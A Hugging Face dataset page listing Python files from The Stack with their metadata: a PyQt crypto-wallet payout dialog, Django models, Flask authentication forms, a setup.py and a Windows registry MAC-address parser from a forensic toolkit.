xszheng2020/the_stack_dedup_python_hits_1 · Datasets at Hugging Face

2594fb6de6dffcce3372d066529fcf8255ec3b49

573

py

Python

regulation/settings.py

cfpb/regulations-xml-parser

e3bcbd9025f6fb6fa9ef2671fb8ed061c8de3e88

[ "CC0-1.0" ]

4

2016-01-02T21:04:42.000Z

2019-08-17T06:30:36.000Z

regulation/settings.py

DalavanCloud/regulations-xml-parser

e3bcbd9025f6fb6fa9ef2671fb8ed061c8de3e88

[ "CC0-1.0" ]

49

2016-01-25T15:19:04.000Z

2017-12-06T20:02:09.000Z

regulation/settings.py

DalavanCloud/regulations-xml-parser

e3bcbd9025f6fb6fa9ef2671fb8ed061c8de3e88

[ "CC0-1.0" ]

9

2016-01-21T19:25:30.000Z

2021-02-20T10:53:47.000Z

#!/usr/bin/env python from __future__ import print_function from __future__ import unicode_literals import importlib import os import sys # Try to load the settings module try: local_settings = importlib.import_module( os.environ.get('REGML_SETTINGS_FILE', 'settings')) globals().update(local_settings.__dict__) except ImportError: logger.error("Unable to import settings module. " "Please double-check your REGML_SETTINGS_FILE " "environment variable") sys.exit(1) globals().update(local_settings.__dict__)

27.285714

64

0.722513

70

573

5.542857

0.585714

0.100515

0.082474

0.134021

0.154639

0

0.002169

0.195462

573

20

65

28.65

0.839479

0.09075

0

0.133333

0

0.242775

0

1

0

false

0

0.533333

0

0.533333

0.066667

0

null

0

null

0

1

0

1

2596f72f06a517f88b80e5187a646537bcd3ae06

16,968

py

Python

src/ui/ui_send_payout_dlg.py

muteio/ghostnode-tool

c42868ed6c009c47482d23ebac0d101adbd8c103

[ "MIT" ]

1

2019-11-02T01:39:52.000Z

src/ui/ui_send_payout_dlg.py

NixPlatform/ghostnode-tool

c42868ed6c009c47482d23ebac0d101adbd8c103

[ "MIT" ]

null

src/ui/ui_send_payout_dlg.py

NixPlatform/ghostnode-tool

c42868ed6c009c47482d23ebac0d101adbd8c103

[ "MIT" ]

1

2019-09-21T15:08:36.000Z

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'ui_send_payout_dlg.ui' # # Created by: PyQt5 UI code generator 5.9.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_SendPayoutDlg(object): def setupUi(self, SendPayoutDlg): SendPayoutDlg.setObjectName("SendPayoutDlg") SendPayoutDlg.resize(832, 507) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(SendPayoutDlg.sizePolicy().hasHeightForWidth()) SendPayoutDlg.setSizePolicy(sizePolicy) SendPayoutDlg.setSizeGripEnabled(True) SendPayoutDlg.setModal(True) self.verticalLayout = QtWidgets.QVBoxLayout(SendPayoutDlg) self.verticalLayout.setObjectName("verticalLayout") self.pnl_input = QtWidgets.QWidget(SendPayoutDlg) self.pnl_input.setObjectName("pnl_input") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.pnl_input) self.verticalLayout_4.setContentsMargins(0, 0, 0, 0) self.verticalLayout_4.setSpacing(0) self.verticalLayout_4.setObjectName("verticalLayout_4") self.lay_input = QtWidgets.QHBoxLayout() self.lay_input.setSpacing(8) self.lay_input.setObjectName("lay_input") self.label_3 = QtWidgets.QLabel(self.pnl_input) self.label_3.setObjectName("label_3") self.lay_input.addWidget(self.label_3) self.cbo_address_source_mode = QtWidgets.QComboBox(self.pnl_input) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbo_address_source_mode.sizePolicy().hasHeightForWidth()) self.cbo_address_source_mode.setSizePolicy(sizePolicy) self.cbo_address_source_mode.setMinimumSize(QtCore.QSize(0, 0)) self.cbo_address_source_mode.setMaximumSize(QtCore.QSize(160, 16777215)) self.cbo_address_source_mode.setObjectName("cbo_address_source_mode") self.cbo_address_source_mode.addItem("") self.cbo_address_source_mode.addItem("") self.cbo_address_source_mode.addItem("") self.lay_input.addWidget(self.cbo_address_source_mode) self.sw_address_source = QtWidgets.QStackedWidget(self.pnl_input) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.sw_address_source.sizePolicy().hasHeightForWidth()) self.sw_address_source.setSizePolicy(sizePolicy) self.sw_address_source.setObjectName("sw_address_source") self.wdg_address_source_1 = QtWidgets.QWidget() sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.wdg_address_source_1.sizePolicy().hasHeightForWidth()) self.wdg_address_source_1.setSizePolicy(sizePolicy) self.wdg_address_source_1.setObjectName("wdg_address_source_1") self.horizontalLayout_6 = QtWidgets.QHBoxLayout(self.wdg_address_source_1) self.horizontalLayout_6.setContentsMargins(0, 0, 0, 0) self.horizontalLayout_6.setSpacing(1) self.horizontalLayout_6.setObjectName("horizontalLayout_6") self.lbl_account = QtWidgets.QLabel(self.wdg_address_source_1) self.lbl_account.setObjectName("lbl_account") self.horizontalLayout_6.addWidget(self.lbl_account) self.cbo_hw_account_nr = QtWidgets.QComboBox(self.wdg_address_source_1) self.cbo_hw_account_nr.setObjectName("cbo_hw_account_nr") self.horizontalLayout_6.addWidget(self.cbo_hw_account_nr) self.btn_add_hw_account_nr = QtWidgets.QToolButton(self.wdg_address_source_1) self.btn_add_hw_account_nr.setObjectName("btn_add_hw_account_nr") self.horizontalLayout_6.addWidget(self.btn_add_hw_account_nr) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_6.addItem(spacerItem) self.lbl_hw_account_base_path = QtWidgets.QLabel(self.wdg_address_source_1) self.lbl_hw_account_base_path.setObjectName("lbl_hw_account_base_path") self.horizontalLayout_6.addWidget(self.lbl_hw_account_base_path) self.sw_address_source.addWidget(self.wdg_address_source_1) self.wdg_address_source_2 = QtWidgets.QWidget() sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.wdg_address_source_2.sizePolicy().hasHeightForWidth()) self.wdg_address_source_2.setSizePolicy(sizePolicy) self.wdg_address_source_2.setObjectName("wdg_address_source_2") self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.wdg_address_source_2) self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0) self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.lblSourceBip32Path = QtWidgets.QLabel(self.wdg_address_source_2) self.lblSourceBip32Path.setObjectName("lblSourceBip32Path") self.horizontalLayout_2.addWidget(self.lblSourceBip32Path) self.edt_src_bip32_path = QtWidgets.QLineEdit(self.wdg_address_source_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.edt_src_bip32_path.sizePolicy().hasHeightForWidth()) self.edt_src_bip32_path.setSizePolicy(sizePolicy) self.edt_src_bip32_path.setMaximumSize(QtCore.QSize(100, 16777215)) self.edt_src_bip32_path.setStyleSheet("background-color: lightgray;") self.edt_src_bip32_path.setReadOnly(True) self.edt_src_bip32_path.setObjectName("edt_src_bip32_path") self.horizontalLayout_2.addWidget(self.edt_src_bip32_path) self.btn_src_bip32_path = QtWidgets.QToolButton(self.wdg_address_source_2) self.btn_src_bip32_path.setObjectName("btn_src_bip32_path") self.horizontalLayout_2.addWidget(self.btn_src_bip32_path) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem1) self.sw_address_source.addWidget(self.wdg_address_source_2) self.wdg_address_source_3 = QtWidgets.QWidget() self.wdg_address_source_3.setObjectName("wdg_address_source_3") self.horizontalLayout = QtWidgets.QHBoxLayout(self.wdg_address_source_3) self.horizontalLayout.setContentsMargins(0, 0, 0, 0) self.horizontalLayout.setObjectName("horizontalLayout") self.lbl_src_masternode = QtWidgets.QLabel(self.wdg_address_source_3) self.lbl_src_masternode.setObjectName("lbl_src_masternode") self.horizontalLayout.addWidget(self.lbl_src_masternode) self.cbo_src_masternodes = QtWidgets.QComboBox(self.wdg_address_source_3) self.cbo_src_masternodes.setObjectName("cbo_src_masternodes") self.horizontalLayout.addWidget(self.cbo_src_masternodes) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem2) self.sw_address_source.addWidget(self.wdg_address_source_3) self.lay_input.addWidget(self.sw_address_source) self.btnLoadTransactions = QtWidgets.QPushButton(self.pnl_input) self.btnLoadTransactions.setAutoDefault(False) self.btnLoadTransactions.setObjectName("btnLoadTransactions") self.lay_input.addWidget(self.btnLoadTransactions) spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.lay_input.addItem(spacerItem3) self.verticalLayout_4.addLayout(self.lay_input) self.verticalLayout.addWidget(self.pnl_input) self.splitter = QtWidgets.QSplitter(SendPayoutDlg) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName("splitter") self.main_widget = QtWidgets.QWidget(self.splitter) self.main_widget.setObjectName("main_widget") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.main_widget) self.verticalLayout_2.setContentsMargins(0, 0, 0, 0) self.verticalLayout_2.setSpacing(2) self.verticalLayout_2.setObjectName("verticalLayout_2") self.lbl_message_2 = QtWidgets.QLabel(self.main_widget) self.lbl_message_2.setText("") self.lbl_message_2.setOpenExternalLinks(True) self.lbl_message_2.setTextInteractionFlags(QtCore.Qt.LinksAccessibleByMouse|QtCore.Qt.TextSelectableByMouse) self.lbl_message_2.setObjectName("lbl_message_2") self.verticalLayout_2.addWidget(self.lbl_message_2) self.horizontalLayout_4 = QtWidgets.QHBoxLayout() self.horizontalLayout_4.setContentsMargins(-1, 8, -1, -1) self.horizontalLayout_4.setSpacing(6) self.horizontalLayout_4.setObjectName("horizontalLayout_4") self.btnCheckAll = QtWidgets.QToolButton(self.main_widget) self.btnCheckAll.setToolTip("") self.btnCheckAll.setIconSize(QtCore.QSize(12, 12)) self.btnCheckAll.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon) self.btnCheckAll.setObjectName("btnCheckAll") self.horizontalLayout_4.addWidget(self.btnCheckAll) self.btnUncheckAll = QtWidgets.QToolButton(self.main_widget) self.btnUncheckAll.setToolTip("") self.btnUncheckAll.setIconSize(QtCore.QSize(12, 12)) self.btnUncheckAll.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon) self.btnUncheckAll.setObjectName("btnUncheckAll") self.horizontalLayout_4.addWidget(self.btnUncheckAll) self.chbHideCollateralTx = QtWidgets.QCheckBox(self.main_widget) self.chbHideCollateralTx.setStyleSheet("") self.chbHideCollateralTx.setObjectName("chbHideCollateralTx") self.horizontalLayout_4.addWidget(self.chbHideCollateralTx) self.lbl_message = QtWidgets.QLabel(self.main_widget) self.lbl_message.setStyleSheet("margin-left:20px;\n" "font-size:11px;\n" "background-color: rgb(56, 181, 255);\n" "color: rgb(255, 255, 255);") self.lbl_message.setWordWrap(False) self.lbl_message.setOpenExternalLinks(True) self.lbl_message.setTextInteractionFlags(QtCore.Qt.LinksAccessibleByMouse|QtCore.Qt.TextSelectableByMouse) self.lbl_message.setObjectName("lbl_message") self.horizontalLayout_4.addWidget(self.lbl_message) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_4.addItem(spacerItem4) self.verticalLayout_2.addLayout(self.horizontalLayout_4) self.tableView = QtWidgets.QTableView(self.main_widget) self.tableView.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) self.tableView.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) self.tableView.setShowGrid(True) self.tableView.setSortingEnabled(False) self.tableView.setObjectName("tableView") self.tableView.verticalHeader().setVisible(False) self.tableView.verticalHeader().setCascadingSectionResizes(True) self.tableView.verticalHeader().setHighlightSections(False) self.verticalLayout_2.addWidget(self.tableView) self.dest_widget1 = QtWidgets.QWidget(self.splitter) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.dest_widget1.sizePolicy().hasHeightForWidth()) self.dest_widget1.setSizePolicy(sizePolicy) self.dest_widget1.setObjectName("dest_widget1") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.dest_widget1) self.verticalLayout_3.setContentsMargins(0, 0, 0, 0) self.verticalLayout_3.setObjectName("verticalLayout_3") self.dest_widget = QtWidgets.QFrame(self.dest_widget1) self.dest_widget.setFrameShape(QtWidgets.QFrame.StyledPanel) self.dest_widget.setObjectName("dest_widget") self.verticalLayout_3.addWidget(self.dest_widget) self.verticalLayout.addWidget(self.splitter) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem5 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem5) self.btnSend = QtWidgets.QPushButton(SendPayoutDlg) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSend.sizePolicy().hasHeightForWidth()) self.btnSend.setSizePolicy(sizePolicy) self.btnSend.setMinimumSize(QtCore.QSize(200, 0)) self.btnSend.setMaximumSize(QtCore.QSize(200, 16777215)) self.btnSend.setAutoDefault(False) self.btnSend.setObjectName("btnSend") self.horizontalLayout_3.addWidget(self.btnSend) spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem6) self.btnClose = QtWidgets.QPushButton(SendPayoutDlg) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnClose.sizePolicy().hasHeightForWidth()) self.btnClose.setSizePolicy(sizePolicy) self.btnClose.setMinimumSize(QtCore.QSize(0, 0)) self.btnClose.setLayoutDirection(QtCore.Qt.LeftToRight) self.btnClose.setAutoDefault(False) self.btnClose.setObjectName("btnClose") self.horizontalLayout_3.addWidget(self.btnClose, 0, QtCore.Qt.AlignRight) self.verticalLayout.addLayout(self.horizontalLayout_3) self.retranslateUi(SendPayoutDlg) self.sw_address_source.setCurrentIndex(2) QtCore.QMetaObject.connectSlotsByName(SendPayoutDlg) def retranslateUi(self, SendPayoutDlg): _translate = QtCore.QCoreApplication.translate SendPayoutDlg.setWindowTitle(_translate("SendPayoutDlg", "Dialog")) self.label_3.setText(_translate("SendPayoutDlg", "View as")) self.cbo_address_source_mode.setItemText(0, _translate("SendPayoutDlg", "Wallet Account")) self.cbo_address_source_mode.setItemText(1, _translate("SendPayoutDlg", "BIP32 Path")) self.cbo_address_source_mode.setItemText(2, _translate("SendPayoutDlg", "Ghostnode Address")) self.lbl_account.setText(_translate("SendPayoutDlg", "Account ")) self.btn_add_hw_account_nr.setToolTip(_translate("SendPayoutDlg", "Add new account number")) self.btn_add_hw_account_nr.setText(_translate("SendPayoutDlg", ".")) self.lbl_hw_account_base_path.setText(_translate("SendPayoutDlg", "...")) self.lblSourceBip32Path.setText(_translate("SendPayoutDlg", "BIP32 path")) self.btn_src_bip32_path.setToolTip(_translate("SendPayoutDlg", "Change BIP32 path")) self.btn_src_bip32_path.setText(_translate("SendPayoutDlg", "...")) self.lbl_src_masternode.setText(_translate("SendPayoutDlg", "Ghostnode")) self.btnLoadTransactions.setText(_translate("SendPayoutDlg", "Reload")) self.btnCheckAll.setText(_translate("SendPayoutDlg", "Select All")) self.btnUncheckAll.setText(_translate("SendPayoutDlg", "Unselect All")) self.chbHideCollateralTx.setText(_translate("SendPayoutDlg", "Hide collateral utxos")) self.lbl_message.setText(_translate("SendPayoutDlg", "....")) self.btnSend.setText(_translate("SendPayoutDlg", "Prepare Transaction")) self.btnClose.setText(_translate("SendPayoutDlg", "Close")) if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) SendPayoutDlg = QtWidgets.QDialog() ui = Ui_SendPayoutDlg() ui.setupUi(SendPayoutDlg) SendPayoutDlg.show() sys.exit(app.exec_())

61.701818

116

0.753713

1,774

16,968

6.966742

0.125141

0.054697

0.036249

0.040456

0.503843

0.395582

0.295089

0.256008

0.200987

0.160288

0

0.022664

0.149694

16,968

274

117

61.927007

0.833934

0.011256

0

0.096154

1

0

0.071859

0.004055

0

1

0.007692

false

0

0.007692

0

0.019231

0

null

0

1

0

null

0

1

2597942237584a092a777b8ebc52564660ff2499

251

py

Python

evo_mwc/__init__.py

mrazomej/evo_mwc

b69c800c5518d906cd2c65334c6feffdbab5acf1

[ "MIT" ]

null

evo_mwc/__init__.py

mrazomej/evo_mwc

b69c800c5518d906cd2c65334c6feffdbab5acf1

[ "MIT" ]

2

2020-06-01T22:36:08.000Z

2020-07-01T23:32:06.000Z

evo_mwc/__init__.py

mrazomej/evo_mwc

b69c800c5518d906cd2c65334c6feffdbab5acf1

[ "MIT" ]

1

2019-07-09T21:18:52.000Z

# -*- coding: utf-8 -*- """Top level package for evo_utils utilities""" from . import viz from . import fitderiv from . import model __author__ = """Manuel Razo""" __email__ = """mrazomej {at} caltech.edu""" __version__ = '0.0.1' name = 'evo_mwc'

17.928571

47

0.661355

34

251

4.470588

0.823529

0.197368

0

0.019139

0.167331

251

13

48

19.307692

0.708134

0.25498

0

0.265193

0

1

0

false

0

0.428571

0

0.428571

0

null

0

null

0

1

0

1

259eedab428d052f5de5cef2f33e8a5144b57d54

1,180

py

Python

setup.py

transientlunatic/gravitic

3f818b5b52dafd8db0cef8f7da930996c84125be

[ "BSD-3-Clause" ]

2

2021-04-12T10:38:58.000Z

2021-04-12T13:53:16.000Z

setup.py

transientlunatic/gravitic

3f818b5b52dafd8db0cef8f7da930996c84125be

[ "BSD-3-Clause" ]

null

setup.py

transientlunatic/gravitic

3f818b5b52dafd8db0cef8f7da930996c84125be

[ "BSD-3-Clause" ]

null

from setuptools import setup # with open('README.rst') as readme_file: # readme = readme_file.read() # with open('HISTORY.rst') as history_file: # history = history_file.read() with open("requirements.txt") as requires_file: requirements = requires_file.read().split("\n") requirements = [requirement for requirement in requirements if not ("+" in requirement)] test_requirements = [ # TODO: put package test requirements here ] setup( name='gravitic', use_scm_version=True, setup_requires=['setuptools_scm'], description="""An abstract gravitational wave pipeline constructor.""", #long_description=readme + '\n\n' + history, author="Daniel Williams", author_email='daniel.williams@ligo.org', url='https://github.com/transientlunatic/gravitic', packages=['gravitic'], package_dir={'gravitic': 'gravitic'}, entry_points={ 'console_scripts': [ 'gravitic=gravitic.cli:gravitic' ] }, include_package_data=True, # install_requires=requirements, zip_safe=True, # keywords='supervisor, pe, ligo, asimov', test_suite='tests', tests_require=test_requirements, )

28.780488

88

0.683051

132

1,180

5.931818

0.537879

0.030651

0.040868

0

0.184746

1,180

40

89

29.5

0.813929

0.25678

0

0.288018

0.062212

0

0.025

0

1

0

false

0

0.038462

0

0.038462

0

null

0

null

0

1

0

1

25ae6c1ba93e797d3822a5f53bd87f019d8ffea6

1,420

py

Python

modules/Registry/lv1_os_win_reg_mac_address.py

naaya17/carpe

fa2e3cfebe20f8839c985e5b9b78b538800172a1

[ "Apache-2.0" ]

null

modules/Registry/lv1_os_win_reg_mac_address.py

naaya17/carpe

fa2e3cfebe20f8839c985e5b9b78b538800172a1

[ "Apache-2.0" ]

null

modules/Registry/lv1_os_win_reg_mac_address.py

naaya17/carpe

fa2e3cfebe20f8839c985e5b9b78b538800172a1

[ "Apache-2.0" ]

null

class Mac_Address_Information: par_id = '' case_id = '' evd_id = '' mac_address = '' description = '' backup_flag = '' source_location = [] def MACADDRESS(reg_system): mac_address_list = [] mac_address_count = 0 reg_key = reg_system.find_key(r"ControlSet001\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}") for reg_subkey in reg_key.subkeys(): try: for reg_subkey_value in reg_subkey.values(): if reg_subkey_value.name() == 'DeviceInstanceID': if 'FFFF' in reg_subkey_value.data(): mac_address_information = Mac_Address_Information() mac_address_list.append(mac_address_information) mac_address_list[mac_address_count].source_location = [] mac_address_list[mac_address_count].source_location.append('SYSTEM-ControlSet001/Control/Class/{4d36e972-e325-11ce-bfc1-08002be10318}') mac_address_list[mac_address_count].mac_address = reg_subkey_value.data().split('\\')[-1][0:6] + reg_subkey_value.data().split('\\')[-1][10:16] mac_address_list[mac_address_count].description = reg_subkey.value(name='DriverDesc').data() mac_address_count = mac_address_count + 1 except: print('-----MAC Address Error') return mac_address_list

45.806452

167

0.625352

164

1,420

5.030488

0.323171

0.254545

0.118788

0.10303

0.541818

0.473939

0.242424

0

0.057307

0.262676

1,420

31

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null

1

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null

0

1

25b1a19eb6d8e239df7d680bb083dcaf01ffaddb

2,864

py

Python

apps/exporter/models.py

mjj55409/cpq-exporter

ae46c1580a1c7d228a352a88a61164d9b3c2490c

[ "MIT" ]

null

apps/exporter/models.py

mjj55409/cpq-exporter

ae46c1580a1c7d228a352a88a61164d9b3c2490c

[ "MIT" ]

null

apps/exporter/models.py

mjj55409/cpq-exporter

ae46c1580a1c7d228a352a88a61164d9b3c2490c

[ "MIT" ]

null

from django.conf import settings from django.db import models # from django.template.defaultfilters import slugify from django.utils.translation import ugettext_lazy as _ class KB (models.Model): name = models.CharField(max_length=30, unique=True) repository_url = models.CharField(max_length=100, blank=False) def __str__(self): return self.name class Destination (models.Model): TYPE_DB = 0 TYPE_ECC = 1 TYPE_CRM = 2 TYPE_CHOICES = ( (TYPE_DB, _('Database')), (TYPE_ECC, _('ECC System')), (TYPE_CRM, _('CRM System')) ) name = models.CharField(max_length=30) destination_type = models.SmallIntegerField(choices=TYPE_CHOICES, default=0) client = models.CharField(max_length=3, default='000', blank=False) def __str__(self): return self.name class DatabaseDestination (models.Model): TYPE_MSSQL = 0 TYPE_MYSQL = 1 TYPE_JDBC = 2 TYPE_CHOICES = ( (TYPE_MSSQL, _('Microsoft SQL')), (TYPE_MYSQL, _('MYSQL')), (TYPE_JDBC, _('Java Connector')) ) destination = models.OneToOneField(Destination, on_delete=models.CASCADE, primary_key=True) database_type = models.SmallIntegerField(choices=TYPE_CHOICES, default=0) host = models.CharField(max_length=100, blank=True) port = models.CharField(max_length=7, blank=True) database_name = models.CharField(max_length=100, blank=False) def __str__(self): return self.database_name + '@' + self.host + ':' + self.port class SAPDestination (models.Model): destination = models.OneToOneField(Destination, on_delete=models.CASCADE, primary_key=True) host = models.CharField(max_length=100, blank=False) sid = models.CharField(max_length=4, blank=False) class Project (models.Model): name = models.CharField(max_length=40, unique=True) description = models.TextField(blank=True) def __str__(self): return self.name class ProjectStep (models.Model): project = models.ForeignKey(Project, on_delete=models.CASCADE, related_name='steps') step_number = models.PositiveSmallIntegerField(null=False, default=1) name = models.CharField(max_length=40, blank=True) kb = models.ForeignKey(KB) def __str__(self): return self.project.name + '.' + self.kb.name class Execution (models.Model): project = models.ForeignKey(Project) time_start = models.DateTimeField(null=True, blank=True) time_end = models.DateTimeField(null=True, blank=True) duration = models.DurationField(blank=True, null=True) export_status = models.BooleanField(blank=True) class ExecutionStep (models.Model): execution = models.ForeignKey(Execution) step = models.ForeignKey(ProjectStep) time_start = models.DateTimeField() time_end = models.DateTimeField() status = models.BooleanField()

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5.590258

0.26361

0.084572

0.101486

0.135315

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null

0

null

0

1

0

1

25b3918a371821cdc9c995f47c968bb1c9ab06ab

6,312

py

Python

src/forms.py

Afsharov/observer-frontend

bd93fd1d7fa1a63ca650640995e1f10b0c99df44

[ "BSD-3-Clause" ]

null

src/forms.py

Afsharov/observer-frontend

bd93fd1d7fa1a63ca650640995e1f10b0c99df44

[ "BSD-3-Clause" ]

null

src/forms.py

Afsharov/observer-frontend

bd93fd1d7fa1a63ca650640995e1f10b0c99df44

[ "BSD-3-Clause" ]

1

2021-04-23T08:25:55.000Z

"""This module contains all forms used by the Observer-Hive frontend. """ import os import json import logging from bcrypt import checkpw from flask_wtf import FlaskForm from flask_login import current_user from wtforms import StringField, PasswordField from wtforms.validators import InputRequired, EqualTo, Length logger = logging.getLogger('src') def get_users(): """Retrieve all users and their passwords. :return: dictionary with all users and passwords """ cwd = os.path.dirname(os.path.abspath(__file__)) with open(cwd + '/users.json') as registered_users: users = json.load(registered_users) return users class LoginForm(FlaskForm): """This class defines the login form. The form provides two entry fields for the user's credentials: username and password. """ username = StringField('username', validators=[InputRequired( message="Please enter a Username.")]) password = PasswordField('password', validators=[InputRequired( message="Please enter your Password.")]) def __init__(self, *args, **kwargs): FlaskForm.__init__(self, *args, **kwargs) def validate(self): """Custom validator for the login form. Checks if username is known to the app and compares the entered password to the stored one. :return: True if all checks have been passed """ rv = FlaskForm.validate(self) if not rv: return False users = get_users() username = self.username.data if username not in users: self.username.errors.append('Unknown username') logger.info(username + ' unknown.') return False if not checkpw(self.password.data.encode('utf-8'), users[username].encode('utf-8')): self.password.errors.append('Invalid password') logger.info('Denied access to ' + username + ' due to wrong password.') return False return True class ChangeCredentialsForm(FlaskForm): """This class defines the form to change an existing users password. The form provides one entry fields for the current password and two entry fields for new password, the second one being used for verification. """ username = StringField('username', validators=[InputRequired( message="Please enter a Username.")]) currentPassword = PasswordField('currentPassword', validators=[ InputRequired( message="Please enter your current Password.")]) newPassword1 = PasswordField('newPassword1', validators=[ InputRequired( message="Please enter your new Password."), Length(min=4, message="Your password must contain at least 4 characters.")]) newPassword2 = PasswordField('newPassword2', validators=[ InputRequired(message= "Please enter your new Password again."), EqualTo('newPassword1', message= 'Passwords must match')]) def __init__(self, *args, **kwargs): FlaskForm.__init__(self, *args, **kwargs) def validate(self): """Custom validator to change credentials. Checks if user provided the correct password currently in use and changes it if user has entered a new password which has been verified by entering it a second time. :return: True if all checks have been passed. """ rv = FlaskForm.validate(self) if not rv: return False users = get_users() if not checkpw(self.currentPassword.data.encode('utf-8'), users[current_user.id].encode('utf-8')): self.currentPassword.errors.append('Invalid password') logger.info('Attempt to change password of ' + current_user.id + ' failed due to wrong current password.') return False return True class RegisterForm(FlaskForm): """This class defines part the registration form. The form provides entry fields for the chosen username and two entry fields for a password, the second one being used for verification. """ username = StringField('username', validators=[InputRequired( message="Please enter a Username.")]) password1 = PasswordField('password1', validators=[ InputRequired( message="Please enter your new Password."), Length(min=4, message="Your password must contain at least 4 characters.")]) password2 = PasswordField('password2', validators=[ InputRequired(message= "Please enter your new Password again."), EqualTo('password1', message= 'Passwords must match')]) def __init__(self, *args, **kwargs): FlaskForm.__init__(self, *args, **kwargs) def validate(self): """Custom validator for new user registrations. Checks if password is at least 4 characters long and verifies the correct entry by comparing it to the second input of password. :return: True if all checks have been passed. """ rv = FlaskForm.validate(self) if not rv: return False return True

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0.864865

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0.079208

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0.366337

0

null

0

null

0

1

0

1

25beeed839f274d72d91b74c8a4940ac9efd14ae

1,570

py

Python

eddiebot_apps/eddiebot_ssl/scripts/model_controller.py

TooSchoolForCool/EddieBot-ROS

5dad6d5a6eb974135b7c9587abc0ae17d1ec6760

[ "Apache-2.0" ]

5

2019-05-15T19:31:47.000Z

2019-08-31T01:12:35.000Z

eddiebot_apps/eddiebot_ssl/scripts/model_controller.py

TooSchoolForCool/EddieBot-ROS

5dad6d5a6eb974135b7c9587abc0ae17d1ec6760

[ "Apache-2.0" ]

null

eddiebot_apps/eddiebot_ssl/scripts/model_controller.py

TooSchoolForCool/EddieBot-ROS

5dad6d5a6eb974135b7c9587abc0ae17d1ec6760

[ "Apache-2.0" ]

4

2019-06-03T12:21:44.000Z

2019-12-25T08:57:46.000Z

